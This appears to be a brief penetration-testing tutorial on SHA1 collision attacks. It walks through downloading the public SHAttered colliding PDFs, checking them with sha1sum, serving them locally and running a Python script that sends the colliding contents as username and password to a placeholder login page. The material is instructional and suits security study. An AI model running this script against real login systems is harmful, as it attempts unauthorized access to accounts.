SHA1 Hash Collision Attack
Last modified: 2023-02-01
Cryptography
Basic reconnaisance flows.
Sample Attacks
1. Download two Files
There are several ways to download files. So we can select our desired files as purposes.
- Download the original two PDF files in SHAttered.
- Download two custom Files (e.g. messageA and messageB) in Chosen-Prefix Collision Example.
Check if the SHA1 hash is the same as each other.
sha1sum shattered-1.pdf
sha1sum shattered-2.pdf
sha1sum messageA
sha1sum messageB
2. Host the PDF Files Locally
In the directory where the two PDF files located, start local server for using in a Python script.
python3 -m http.server 8000
3. Create a Python Script
For example, create a “test.py”.
import requests
file1 = "shattered-1.pdf"
file2 = "shattered-2.pdf"
pdf_1 = requests.get(f'http://localhost:8000/{file1}')
pdf_2 = requests.get(f'http://localhost:8000/{file2}')
# e.g. the two values can be used as username/password.
params = {'username': pdf_1.content, 'password': pdf_2.content}
r = requests.get('https://example.com/login', params=params)
print(r.text)
4. Run the Script
python3 test.py